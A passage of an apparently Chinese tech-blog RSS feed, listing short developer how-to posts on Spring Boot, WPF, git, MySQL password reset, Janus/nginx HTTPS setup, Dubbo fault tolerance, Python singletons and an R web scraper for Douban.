      <guid>https://bchobby.github.io/posts/acb449036494f23224e3aec49904d554/</guid>
      <description>springboot2.x以上的版本，在.properties里面配置访问路径server.context-path=/X不起作用，需改为server.servlet.context-path=/*&#xA;如果是yaml文件的话，需要注意相对位置，相对位置一样，级别一样。&#xA;eg.&#xA;从outline就发会发现yaml文件其实可以看出相对位置一样，级别就一样。</description>
    </item>
    <item>
      <title>ios微信端上下滑动页面，若触摸的是input区域，页面内不滚动，整个页面被拖动了...</title>
      <link>https://bchobby.github.io/posts/0513bad125561bec6648e8c1b0c9639f/</link>
      <pubDate>Wed, 08 May 2019 10:26:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0513bad125561bec6648e8c1b0c9639f/</guid>
      <description>// input 外层div设置样式 overflow-y:scroll; -webkit-overflow-scrolling:touch; 转载于:https://www.cnblogs.com/shifeng-/p/10830303.html</description>
    </item>
    <item>
      <title>Matlab基础函数 —— SUM的使用方法</title>
      <link>https://bchobby.github.io/posts/fd404d01425d689543762a7ef5f10872/</link>
      <pubDate>Tue, 07 May 2019 20:59:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd404d01425d689543762a7ef5f10872/</guid>
      <description>比较SUM (A,1)和SUM(A,2)的不同 令A=[1 2 3;1 2 3],即一个两行三列的数组。&#xA;现在我们在matlab软件的命令行里输入上面两个函数，通过结果来比较逗号后面放1与放2的区别：&#xA;通过结果我们可以看出sum(A,1)将A的每列之和重新后成一个行向量，列数与A相同；sum(A,2)将A的每行之和重新保存成一个列向量，行数与A相同。</description>
    </item>
    <item>
      <title>Logstash使用grok表达式解析自定义日志</title>
      <link>https://bchobby.github.io/posts/1583fbae3c42804db489a1dfdf0cb53f/</link>
      <pubDate>Tue, 07 May 2019 18:30:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1583fbae3c42804db489a1dfdf0cb53f/</guid>
      <description>grok表达式解析自定义日志格式的完整例子好像不多,所以贴一下以供参考:(key和sign已做删减,各位大佬不要搞事情...)</description>
    </item>
    <item>
      <title>Sigmoid激活函数的理解（函数及其导数的图形表示，作用，优缺点）</title>
      <link>https://bchobby.github.io/posts/4164b0832d8b8ef54d9d6ce6e9bdafd9/</link>
      <pubDate>Tue, 07 May 2019 16:26:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4164b0832d8b8ef54d9d6ce6e9bdafd9/</guid>
      <description>Sigmoid函数又称logistic函数，在逻辑回归中经常出现。&#xA;公式为：&#xA;Sigmoid函数常被用作神经网络的阈值函数，将变量映射到0,1之间，该函数单调递增且以（0，0.5）对称，在两端变化速度较慢。&#xA;它是神经网络中的激活函数，其作用就是引入非线性。&#xA;优点：&#xA;（1）sigmoid函数单调连续，输出范围有限，所以数据在传递的过程中不容易发散&#xA;（2）由于输出范围为(0, 1)，所以可以在二分类的模型做为输出层，输出表示概率。&#xA;（3）求导容易,其导数可由自身表示：f’(x)=f(x)(1-f(x))&#xA;缺点：&#xA;（1）易造成梯度消失的问题。sigmoid函数和其导数Deriv.Sigmoid的图形如下，导数的值始终小于1且一直在0周围变化，在深层的神经网络中极易造成梯度消失的问题。&#xA;（2）不是以0为对称轴（这点在tahn函数有所改善）</description>
    </item>
    <item>
      <title>WPF DataGridComboBoxColumn的数据绑定</title>
      <link>https://bchobby.github.io/posts/47f1f3eddea99caa273e4178277a568d/</link>
      <pubDate>Tue, 07 May 2019 16:12:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47f1f3eddea99caa273e4178277a568d/</guid>
      <description> WPF DataGridComboBoxColumn的数据绑定 &amp;lt;!--DataGrid的列并没有数据上下文，所以其ItemsSource绑定要向上查找 --&amp;gt; &amp;lt;DataGridComboBoxColumn Header=&#34;省份&#34;&amp;gt; &amp;lt;DataGridComboBoxColumn.EditingElementStyle&amp;gt; &amp;lt;Style TargetType=&#34;ComboBox&#34;&amp;gt; &amp;lt;Setter Property=&#34;ItemsSource&#34; Value=&#34;{Binding DataContext.ProvinceList,RelativeSource={RelativeSource Mode=FindAncestor, AncestorType=UserControl}}&#34; /&amp;gt; &amp;lt;Setter Property=&#34;DisplayMemberPath&#34; Value=&#34;ProvinceName&#34;/&amp;gt; &amp;lt;Setter Property=&#34;SelectedValue&#34; Value=&#34;{Binding Path=Value}&#34; /&amp;gt; &amp;lt;/Style&amp;gt; &amp;lt;/DataGridComboBoxColumn.EditingElementStyle&amp;gt; &amp;lt;DataGridComboBoxColumn.ElementStyle&amp;gt; &amp;lt;Style TargetType=&#34;ComboBox&#34;&amp;gt; &amp;lt;Setter Property=&#34;ItemsSource&#34; Value=&#34;{Binding DataContext.ProvinceList,RelativeSource={RelativeSource Mode=FindAncestor, AncestorType=UserControl}}&#34; /&amp;gt; &amp;lt;Setter Property=&#34;DisplayMemberPath&#34; Value=&#34;ProvinceName&#34;/&amp;gt; &amp;lt;Setter Property=&#34;SelectedValue&#34; Value=&#34;{Binding Path=Value}&#34; /&amp;gt; &amp;lt;/Style&amp;gt; &amp;lt;/DataGridComboBoxColumn.ElementStyle&amp;gt; &amp;lt;/DataGridComboBoxColumn&amp;gt; </description>
    </item>
    <item>
      <title>eclipse清除workspace历史缓存</title>
      <link>https://bchobby.github.io/posts/981e140cddee638a6fdb1189b9a113c0/</link>
      <pubDate>Tue, 07 May 2019 16:02:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/981e140cddee638a6fdb1189b9a113c0/</guid>
      <description>问题：在自己的服务器上安copy了一个之前的eclipse文件，发现之前的workSpace自己创建了，很不清爽。 清除方法： 1.打开eclipse下的/configuration/.settings目录下的org.eclipse.ui.ide.prefs文件 2.修改属性‘RECENT_WORKSPACES’的值；(这个就是你全部workSpace的历史记录了，每个历史记录使用\n分割的) 3. 把RECENT_WORKSPACES这项修改为你需要的那些目录，以\n分隔 RECENT_WORKSPACES=D:\workSpace,保存文件然后重新启动eclipse</description>
    </item>
    <item>
      <title>BigDecimal做除法并保留小数</title>
      <link>https://bchobby.github.io/posts/38465639d50dbaf0ac03398585536d96/</link>
      <pubDate>Tue, 07 May 2019 10:18:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38465639d50dbaf0ac03398585536d96/</guid>
      <description>BigDecimal num1 = new BigDecimal(100); BigDecimal num2 = new BigDecimal(32); System.out.print(num1.divide(num2, 2, RoundingMode.HALF_UP)); RoundingMode.DOWN 直接删除多余的小数位，如2.35会变成2.3&#xA;RoundingMode.UP 进位处理，2.35变成2.4&#xA;RoundingMode.HALF_UP 四舍五入，2.35变成2.4&#xA;RoundingMode.HALF_DOWN 四舍五入，2.35变成2.3，如果是5则向下舍</description>
    </item>
    <item>
      <title>获取当前项目所有url</title>
      <link>https://bchobby.github.io/posts/ee2ee695246eeb5a3bc7740df35d16f5/</link>
      <pubDate>Mon, 06 May 2019 18:56:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee2ee695246eeb5a3bc7740df35d16f5/</guid>
      <description>文档：获取当前项目所有url.note&#xA;链接：http://note.youdao.com/noteshare?id=4d911fef8886f14f6dfaac0d6cdce4dc&amp;amp;sub=4BB3011635404DE2A209870F0EEB40F8</description>
    </item>
    <item>
      <title>研究生阶段的大数据专业都学习什么科目？</title>
      <link>https://bchobby.github.io/posts/01ffb9f3d8ae4f341959ff72c4e534a5/</link>
      <pubDate>Mon, 06 May 2019 18:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01ffb9f3d8ae4f341959ff72c4e534a5/</guid>
      <description>相较本科阶段要学习的计算机编程语言，比如：java，linux，mysql等，研究生的大数据专业会更加深入一点，更多的是接触学习数据的采集与分析（Python、Scala），大数据的存储（hbase、hive、sqoop），学习处理软件，学习数学建模软件等等这方面的东西。&#xA;以武汉大学为例：&#xA;必修课主要包括：《大数据分析》、《多元统计分析与大数据建模》、《学科前沿进展》&#xA;选修课主要包括：《软件项目管理》、《信息安全技术》、《移动服务构架设计》等&#xA;学科通开课主要包括：《高级云计算技术》、《数据挖掘与数据仓库》、《高级算法设计与分析》&#xA;公共课主要包括：《高等工程数学》《自然辩证法概论》等&#xA;目前大数据专业是一个非常火的专业，就今年，国内已有30+所高校（清华、复旦、人大等）设立了此专业，如果想学的话，就趁现在开始打基础！&#xA;想要学习、梳理更多关于大数据领域的干货文章，可以看看这个号：计算机信息观察家，入门级小白必备！很多干货文章：大数据是如何存储和管理的？&amp;amp;最全、最好用的大数据工具都在这了！感兴趣的可以看看&#xA;转载于:https://www.cnblogs.com/keo1234/p/10821308.html</description>
    </item>
    <item>
      <title>PHP运行报错：由于找不到 MSVCR110.dll，无法继续执行代码。的解决办法</title>
      <link>https://bchobby.github.io/posts/6d29d70da33e37d3b097f87af97205a4/</link>
      <pubDate>Mon, 06 May 2019 17:33:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d29d70da33e37d3b097f87af97205a4/</guid>
      <description>命令行执行php命令报错：由于找不到 MSVCR110.dll，无法继续执行代码。重新安装程序可能会解决此问题。&#xA;原因：&#xA;运行的php5.6为64位，需要安装64位Visual C++ Redistributable for Visual Studio 2012。&#xA;解决办法：&#xA;1.下载VC++2012。&#xA;2.运行安装文件，安装完成后问题解决。</description>
    </item>
    <item>
      <title>关于KindEditor 编辑器中表格的问题</title>
      <link>https://bchobby.github.io/posts/0bd1d2357cddb4932d31816bd9880c22/</link>
      <pubDate>Mon, 06 May 2019 17:23:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bd1d2357cddb4932d31816bd9880c22/</guid>
      <description>#关于KindEditor 编辑器中表格的问题&#xA;今天开发项目中有一个需求，需要多个表格联合打印，但是多个表格中又需要有各自独立的表头，起初是直接调用浏览器的打印接口，但是出现的问题是，当需要打印的表格数据多时遇到跨页时会出现表格不会自动分页&#xA;出现这种很让人尴尬的情况，由于调用的是浏览器的接口而且大爷的纸张不同也有所区别，因此不能通过写死打印的记录条数来打印，因此想起了Kindeditor 富文本编辑器，手动来换行实现上面的问题 ，功能是实现了，但是引发出了一个问题，通过kindeditor 编辑器编辑后的的html 会丢失一些东西(也许是这个kindeditor 编辑器的bug，纯属个人猜测，不喜勿喷，要脸)&#xA;在将html 传入kindeditor 中的部分代码如下图，&#xA;但是，通过kindeditor 编辑后，获取html代码变成了。下图&#xA;直接将配置的两个style属性给忽略掉了(ps 是看它不爽嘛，哈哈)&#xA;导致最后，调用浏览器打印接口的时候，无法固定列宽和自动换行&#xA;最后解决的办法（运用比较笨的办法）&#xA;再获取通过 kindeditor 编辑后的html 插入 该属性&#xA;table-layout:fixed;word-break:break-all; ，&#xA;后在调用浏览器接口</description>
    </item>
    <item>
      <title>git：git修改项目的远程url</title>
      <link>https://bchobby.github.io/posts/967223c94124a6ab73b70a23368b18d6/</link>
      <pubDate>Mon, 06 May 2019 16:17:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/967223c94124a6ab73b70a23368b18d6/</guid>
      <description>需要复制一个gitlab的base项目，但由于一些原因复制操作难以实现，所以通过 git clone base项目 ----&amp;gt; git remote 修改远程url ----&amp;gt; git push到目标项目 的方式实现复制过程。git clone和git push不必多说，git remote修改远程url的过程记录如下。&#xA;1、git 命令修改 推荐使用git remote命令的方式修改。&#xA;1、进入项目目录；&#xA;2、删除原有的url：&#xA;git remote rm origin 3、添加目标项目的url：&#xA;git remote add origin 目标URL 这里的“目标URL”，就是Git上面的ssh url。&#xA;修改完成&#xA;2、修改.git/config文件 除了git命令，还可以直接修改git的配置文件。.git是个隐藏文件夹，里面有个文件config，包含git的一些配置。其中，[remote &#34;origin&#34;]下面的就是git remote相关的一些配置。&#xA;不推荐直接修改配置文件的方式，万一手残改错了原地爆炸。。。。</description>
    </item>
    <item>
      <title>解决 &#39;utf-8&#39; codec can&#39;t decode byte 0x8b in position 1: invalid start byte</title>
      <link>https://bchobby.github.io/posts/a5b01c23aa281366b5f00ad519b0122f/</link>
      <pubDate>Mon, 06 May 2019 16:14:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5b01c23aa281366b5f00ad519b0122f/</guid>
      <description>原文：https://blog.csdn.net/zhanghaipeng1989/article/details/41117887&#xA;如果自己的脚本里编码没有问题的话，要看一下设置的header是否存在 ‘Accept-Encoding’:’ gzip, deflate’,这一句话，如果存在，删除即可解决。&#xA;发现爬虫爬取的时候失败了，一致报这个错，google搜了几个发现不对，终于找到这个原因了，感谢博主。</description>
    </item>
    <item>
      <title>搭建Janus的HTTPS环境</title>
      <link>https://bchobby.github.io/posts/e861104a4dbb49cdcfe78f768439f341/</link>
      <pubDate>Mon, 06 May 2019 14:20:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e861104a4dbb49cdcfe78f768439f341/</guid>
      <description>1、前言 基于安全隐私问题，现在Webkit内核的浏览器共享视频、语音、经纬度坐标等必须通过HTTPS形式访问！&#xA;Chrome浏览器使用的是Webkit内核，所以很不幸，如果你要在最新的Chrome浏览器上通过HTTP形式分享本地的视频、语音，就会出现如《Chrome浏览器调用摄像头失败》 中所述的问题。&#xA;那么，如何解决呢？答案很简单，就是将应用的HTTP服务方式改造成HTTPS方式，本文将就Janus的Demos范例的HTTPS改造进行说明。&#xA;2、改造过程 2.1 安装Janus 若还没有部署Janus环境，可以参考《Ubuntu中安装部署Janus》 一文进行部署。&#xA;2.2 修改Janus配置 1、修改Janus的配置文件janus.jcfg，命令如下&#xA;root@webrtc:~# vi /opt/janus/etc/janus/janus.jcfg 确认Janus所使用的DTLS证书配置，如下图所示&#xA;2、修改Janus的配置文件janus.janus.transport.http.jcfg，命令如下&#xA;root@webrtc:~# vi /opt/janus/etc/janus/janus.janus.transport.http.jcfg 修改或增加的内容，如下图所示&#xA;2.3 安装Nginx Ubuntu下安装很简单，使用下面命令：&#xA;sudo apt-get install nginx -y 安装完成后，可以通过下面命令查看&#xA;sudo netstat -ntlp | grep nginx 执行结果如下，可以看到nginx已经运行起来&#xA;root@webrtc:~# sudo netstat -ntlp | grep nginx tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1471/nginx: master tcp6 0 0 :::80 :::* LISTEN 1471/nginx: master 可以通过浏览器访问，如 http://172.16.0.17 就可以看到Nginx的首页，如下图所示&#xA;2.4 修改Nginx配置 修改Nginx的默认配置文件，命令如下&#xA;root@webrtc:~# vi /etc/nginx/conf.</description>
    </item>
    <item>
      <title>centos7离线安装bazel</title>
      <link>https://bchobby.github.io/posts/c6982e9e672778fbd9197a469b295d83/</link>
      <pubDate>Mon, 06 May 2019 10:41:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6982e9e672778fbd9197a469b295d83/</guid>
      <description>安装包下载地址：&#xA;https://github.com/bazelbuild/bazel/releases</description>
    </item>
    <item>
      <title>正负样本不均衡</title>
      <link>https://bchobby.github.io/posts/6ada3cd26cc4b64de7aabaea443decfb/</link>
      <pubDate>Sun, 05 May 2019 23:20:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ada3cd26cc4b64de7aabaea443decfb/</guid>
      <description>样本不均衡 类别不均衡是指在分类学习算法中，不同类别样本的比例相差悬殊，它会对算法的学习过程造成重大的干扰。比如在一个二分类的问题上，有1000个样本，其中5个正样本，995个负样本，在这种情况下，算法只需将所有的样本预测为负样本，那么它的精度也可以达到99.5%，虽然结果的精度很高，但它依然没有价值，因为这样的学习算法不能预测出正样本。这里我们可以知道不均衡问题会导致样本较少那一类的高错分率，即较少一类的样本会有较大的比例会被预测成样本数量较多的那一类。&#xA;随机森林更适用于样本不均衡问题 降采样（ 优 先 选 择 \color{red}{优先选择} 优先选择） 原来990个正样本，10个负样本。抽取50个正样本，10个负样本使样本比例在一个数量级。&#xA;重采样 990个样本不变，10个样本 重复采样50次。获得990个正样本，500个负样本。&#xA;10 个 负 样 本 ， 可 能 会 有 异 常 值 。 1 个 负 样 本 异 常 值 ， 采 集 50 次 ， 就 有 50 个 异 常 值 。 故 降 采 样 质 量 好 。 \color{red}{10个负样本，可能会有异常值。1个负样本异常值，采集50次，就有50个异常值。故降采样质量好。} 10个负样本，可能会有异常值。1个负样本异常值，采集50次，就有50个异常值。故降采样质量好。&#xA;降采样50个正样本，10个负样本，共60个样本。&#xA;重采样990个正样本，500个负样本。共1400多个样本&#xA;故降采样 效 率 高 \color{red}{效率高} 效率高。&#xA;基于聚类的A类分割 对于990个正样本做cluster聚类处理。之后对于每个类，抽取一定比例正样本。可提高训练程度。</description>
    </item>
    <item>
      <title>通过document方法来获取标签对象</title>
      <link>https://bchobby.github.io/posts/22b5835267807b77346a54c1c27331e7/</link>
      <pubDate>Sun, 05 May 2019 13:43:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22b5835267807b77346a54c1c27331e7/</guid>
      <description> &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;通过document方法来获取标签对象&amp;lt;/title&amp;gt; &amp;lt;script&amp;gt; /** * 通过document方法来获取标签对象 * 1)getElementByld(&#34;id属性值&#34;); 返回的是某个标签对象//id一定要唯一 * 2)getElementsByName(&#34;name属性值&#34;); 返回的标签对象集合 * 3)getElementsByTagName(&#34;标签名称&#34;); //通过标签名称获取标签对象 */ function init(){ //获取标签对象 var username = document.getElementById(&#34;user_name&#34;).value; //通过name属性来获取标签对象 //var username = document.getElementsByName(&#34;username&#34;)[0].value; //var username = document.getElementsByTagName(&#34;input&#34;)[0].value; var username = document.getElementsByClassName(&#34;haha&#34;)[0].value; alert(username); } &amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body onload=&#34;init()&#34;&amp;gt; 用户名:&amp;lt;input type=&#34;text&#34;class=&#34;haha&#34;name=&#34;username&#34;onblur=&#34;init()&#34;id=&#34;user_name&#34; /&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; </description>
    </item>
    <item>
      <title>python中的__new__方法与单例模式</title>
      <link>https://bchobby.github.io/posts/927b35c1cd8ee038935e5192d7f663b8/</link>
      <pubDate>Sun, 05 May 2019 13:14:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/927b35c1cd8ee038935e5192d7f663b8/</guid>
      <description>本文将简单地介绍__new__方法的使用，然后引出单例模式。&#xA;__new__方法就是初始化实例对象的，假如和__init__一起存在的话，会先执行___new__方法，&#xA;简单地看个例子：&#xA;class A: def __init__(self, name): self.name = name def __new__(cls, *args, **kw): print(&#39;bbb&#39;) return object.__new__(cls) a = A(&#39;张三&#39;) print(a.name) # 结果 # bbb # 张三 什么时候使用__new__方法呢？参考链接&#xA;单例模式&#xA;什么是单例模式：对象只会被实例化一次，从第二次开始其实就是用的第一次实例化的对象，相当于全局。可根据地址判断看一下&#xA;class A: def __init__(self, name): self.name = name # 实例化三个对象 a = A(&#39;张三&#39;) b = A(&#39;李四&#39;) c = A(&#39;王五&#39;) # 打印结果地址是不同的，既实例化了三个对象 print(a) # &amp;lt;__main__.A object at 0x029CE5B0&amp;gt; print(b) # &amp;lt;__main__.A object at 0x00A009B0&amp;gt; print(c) # &amp;lt;__main__.A object at 0x00A00C10&amp;gt; # 将 a 的名字改成阿黄，查看一下 b 和 c 的名字 a.</description>
    </item>
    <item>
      <title>mac fatal error: &#39;openssl/opensslv.h&#39; file not found</title>
      <link>https://bchobby.github.io/posts/ec198b1aae8f8449ea43fd3189ac1e19/</link>
      <pubDate>Sun, 05 May 2019 11:13:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec198b1aae8f8449ea43fd3189ac1e19/</guid>
      <description>先安装了&#xA;brew upgrade openssl&#xA;在设置环境变量&#xA;export CPPFLAGS=-I/usr/local/opt/openssl/include&#xA;export LDFLAGS=-L/usr/local/opt/openssl/lib</description>
    </item>
    <item>
      <title>解决Access denied for user &#39;root&#39;@&#39;localhost&#39;(using password:YES)问题</title>
      <link>https://bchobby.github.io/posts/505a3e60dcf31faef04a5b0fa347b250/</link>
      <pubDate>Sat, 04 May 2019 17:59:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/505a3e60dcf31faef04a5b0fa347b250/</guid>
      <description>原文链接：https://blog.csdn.net/weixin_41092717/article/details/83344420&#xA;在Eclipse中开发Web项目时，使用heidisql连接MYSQL数据库，出现问题：Access denied for user &#39;root&#39;@&#39;localhost&#39;(using password:YES)。&#xA;解决方案：&#xA;1、打开MySQL目录下的my.ini文件，在文件的最后添加一行“skip-grant-tables”，保存并关闭文件。（WIN7默认安装）&#xA;2、重启MySQL服务。&#xA;3、通过命令行进入MySQL的BIN目录，输入“mysql -u root -p”(不输入密码)，回车即可进入数据库。&#xA;4、执行“use mysql;”，使用mysql数据库。&#xA;5、执行“update user set password=PASSWORD(&#34;123456&#34;) where user=&#39;root&#39;;”（修改root的密码）&#xA;6、重启MySQL服务。&#xA;7、再次使用heidisql连接MYSQL数据库</description>
    </item>
    <item>
      <title>Dubbo的容错机制原理</title>
      <link>https://bchobby.github.io/posts/6d9214577be5129ea344508c86d5772c/</link>
      <pubDate>Sat, 04 May 2019 13:15:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d9214577be5129ea344508c86d5772c/</guid>
      <description>本文是基于 apache dubbo 2.7.0 版本的源码和参考官网的集群章节而成。&#xA;为了避免单点故障，现在的应用通常至少会部署在两台服务器上。对于一些负载比较高的服务，会部署更多的服务器。这样，在同一环境下的服务提供者数量会大于1。对于服务消费者来说，同一环境下出现了多个服务提供者。这时会出现一个问题，服务消费者需要决定选择哪个服务提供者进行调用。另外服务调用失败时的处理措施也是需要考虑的，是重试呢，还是抛出异常，亦或是只打印异常等。为了处理这些问题，Dubbo 定义了集群接口 Cluster 以及 Cluster Invoker。集群 Cluster 用途是将多个服务提供者合并为一个 Cluster Invoker，并将这个 Invoker 暴露给服务消费者。这样一来，服务消费者只需通过这个 Invoker 进行远程调用即可，至于具体调用哪个服务提供者，以及调用失败后如何处理等问题，现在都交给集群模块去处理。集群模块是服务提供者和服务消费者的中间层，为服务消费者屏蔽了服务提供者的情况，这样服务消费者就可以专心处理远程调用相关事宜。比如发请求，接受服务提供者返回的数据等。这就是集群的作用。 一 选择集群容错方式 集群容错机制是交由 org.apache.dubbo.rpc.cluster.Cluster 接口的子类处理，为了清楚该接口有哪些扩展类，不妨打开该类的 Dubbo SPI 配置文件(扩展点的全限定名)一观：&#xA;mock=org.apache.dubbo.rpc.cluster.support.wrapper.MockClusterWrapper failover=org.apache.dubbo.rpc.cluster.support.FailoverCluster failfast=org.apache.dubbo.rpc.cluster.support.FailfastCluster failsafe=org.apache.dubbo.rpc.cluster.support.FailsafeCluster failback=org.apache.dubbo.rpc.cluster.support.FailbackCluster forking=org.apache.dubbo.rpc.cluster.support.ForkingCluster available=org.apache.dubbo.rpc.cluster.support.AvailableCluster mergeable=org.apache.dubbo.rpc.cluster.support.MergeableCluster broadcast=org.apache.dubbo.rpc.cluster.support.BroadcastCluster registryaware=org.apache.dubbo.rpc.cluster.support.RegistryAwareCluster 理论上来说，Dubbo 的集群容错机制就有以上 10 种，且还可从 Cluster 接口上的 @SPI 可知，其默认的扩展类为 FailoverCluster。&#xA;@SPI(FailoverCluster.NAME) public interface Cluster { @Adaptive &amp;lt;T&amp;gt; Invoker&amp;lt;T&amp;gt; join(Directory&amp;lt;T&amp;gt; directory) throws RpcException; } 那么在真正调用时，可通过设置 &amp;lt;dubbo:service&amp;gt; 标签中 cluster 属性，其值分别对应Cluster 扩展点配置文件中的 key，以匹配对应的容错机制。&#xA;二 前置动作 集群容错真正发生在消费端。当消费端发起调用时，会先从服务目录查询满足需求的服务提供者信息，在此基础上进行路由，路由后的结果才会真正进行容错处理。所以，就会有如下的活动图：</description>
    </item>
    <item>
      <title>干货|计算机专业大学生毕业后找工作应该考哪些证书</title>
      <link>https://bchobby.github.io/posts/67fced9f865f6574fa4c8b7f5320591b/</link>
      <pubDate>Fri, 03 May 2019 18:02:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67fced9f865f6574fa4c8b7f5320591b/</guid>
      <description> 大学生计算机专业毕业后，找工作前如果考取了某项证书，一般会被优秀的大公司看中，很容易从众多的毕业生中脱颖而出，因为刚毕业的大学生如果没有工作经验，那么他的优势就是考取的证书与所在学校是否是名牌。学校是无法改变了，能改变的就是证书了。而现在的证书五花八门，只有适合自己的才是最好的。&#xA;下面我给大家介绍正规的四大类证书：&#xA;步骤阅读 第一类证书 大学校园里最常见的计算机证书——全国计算机等级考试，英文是National Computer Rank Examination，简称NCRE。这个证书简单的说，是非计算机专业学生必考的证书。这款证书共分为四个等级：一级、二级、三级、四级。一般的大学生考到二级、三级就差不多了。其中的最高级——四级相当于全国软考的初级水平。总之，如果是针对计算机专业的学生来讲，此证书含金量不高。&#xA;步骤阅读 第二类证书 计算机软件水平考试（软考），平时行业直接叫软考。这个证书是国内针对计算机专业的最高水平考试，专业水平比上述讲的第一类水准要高出许多。它的等级：初级、中级、高级。考试方向有很多：软件、网络、应用技术、信息系统与信息服务。一般情况都是走的第一类方向。下面稍微介绍一下第一类方向。&#xA;步骤阅读 步骤阅读 程序员，初级证书。此证书，对大学生在校编程能力与算法有一定的要求，考试的最后一个大题基本上每年都是一道编程题，所以虽然是初级，但并不容易。本人当年考取程序员（满分100分），考了96分，估计是错了两道选择题。&#xA;步骤阅读 软件设计师，中级证书。这个证书，几乎不考编程的题目，但是它的涉及范围很广，几乎囊括了大二、大三的大部分核心计算机课程，像数据机构、软件工程、编译原理等。基本上都是理论的东西，所以死记硬背的东西比较多。咬咬牙，还是可以过的。一般的大学生顶峰都是考到中级。考到中级了，的确说明学习用心了，是个好学生。&#xA;步骤阅读 系统分析师，高级证书。很少有大学生能够考过这门证书，因为这门证书对工作经验有一定要求，需要写计算机论文的。所以一般工作两三年的人士会去考这门证书。&#xA;步骤阅读 第三类证书 思科证书。思科证书是目前国内最吃香的证书，这个证书的认知度达到全球通用，也只能说思科这家公司太牛了。不过思科方向都是网络方向的，面向的是思科的网络设备。它的具体分类：CCNA、CCDA、CCNP、CCDP、CCSP、CCIP、CCVP、CCIE。分支比较多。常见考取等级：初级CCNA，中级CCNP，高级CCIE。&#xA;步骤阅读 初级CCNA。大学生如果考了这门证书，面试公司肯定会对你另眼相看的。考试费用不高，二千附近。考试地点国内。&#xA;步骤阅读 中级CCNP。考试费用四千左右。考试地点国内。&#xA;步骤阅读 高级CCIE。应该说最实用的证书。考取这个证书等于直接拿到了起步价10年薪的工作。笔试费用250美元，考点在国内。实验室考试费用1w多人民币，而且考点只有北京与香港。邻居家有个小孩，学校刚毕业就报了培训班，花费了五六万，考了两次，最后考到CCIE证书。在上海的第一份工作就月薪1W。可见此证书的威力啊!&#xA;步骤阅读 第四类证书 ORALCE证书。是甲骨文公司数据库方向的一个证书。含金量没有思科来的实用，但是如果考取的话，也是可以加分的。此类证书一般都必须要实地培训后才可以考取。所以适合有工作经验的人士。它分为三类：OCA证书、OCP证书、OCM证书。&#xA;步骤阅读 OCA英文全称Oracle Certified Associate，是入门级别的资格证书。&#xA;步骤阅读 OCP英文全称Oracle Certified Professionals，是专业证书。&#xA;步骤阅读 OCM英文全称Oracle Certified Master，是高级资格证书。&#xA;步骤阅读 </description>
    </item>
    <item>
      <title>豆瓣电影改版，翻页方式从页码变成加载更多，简易爬虫方式不灵了。求大神指教！</title>
      <link>https://bchobby.github.io/posts/73f711463204486d51e098cd41af108b/</link>
      <pubDate>Thu, 02 May 2019 20:00:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73f711463204486d51e098cd41af108b/</guid>
      <description>豆瓣电影好像刚刚改版了，原来最简单的爬虫方式现在也不灵了。附上原来在windows系统中的R爬虫代码，有大神指教一下怎么改嘛？感激不尽&#xA;这是现在的页面&#xA;library(dplyr) library(rvest) library(stringr) # 自定义函数 getMovList &amp;lt;- function(pgnum, intv_time=5){ # 采集单个电影链接的列表的函数 # pgnum是页面数量， intv_time是间隔时间 # 首先设置一个空向量 list_res &amp;lt;- as.character() for(i in 0:pgnum){ urlnum &amp;lt;- i*20 list_url &amp;lt;- str_c(&#39;https://movie.douban.com/explore#!type=movie&amp;amp;tag=%E5%8D%8E%E8%AF%AD&amp;amp;sort=time&amp;amp;page_limit=20&amp;amp;page_start=&#39;, urlnum, &#39;&amp;amp;type=R&#39;) # 按照 css标签确定爬虫内容 list_p &amp;lt;- read_html(list_url) %&amp;gt;% html_nodes(&#39;div.list&#39;) %&amp;gt;% html_attr(&#39;href&#39;) %&amp;gt;% .[str_detect(., &#39;https://movie.douban.com/subject&#39;)] # 单个页面上的url列表添加到总列表中 list_res &amp;lt;- c(list_res, list_p) Sys.sleep(intv_time) cat(&#39;page&#39;, i, &#39;Done &#39;) } list_res &amp;lt;- unique(list_res) return(list_res) } getMovData &amp;lt;- function(url){ # 根据单个电影url，采集具体信息 # 目前初步设定 标题、年份、信息、剧情、评分等字段，可进一步优化 prs &amp;lt;- read_html(url) title &amp;lt;- prs %&amp;gt;% html_nodes(&#39;h1 span&#39;) %&amp;gt;% html_text() %&amp;gt;% .</description>
    </item>
    <item>
      <title>微信小程序 WXBizDataCrypt 解密 报错</title>
      <link>https://bchobby.github.io/posts/c53615e42406002b9c2a5578559a8f5f/</link>
      <pubDate>Thu, 02 May 2019 16:39:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c53615e42406002b9c2a5578559a8f5f/</guid>
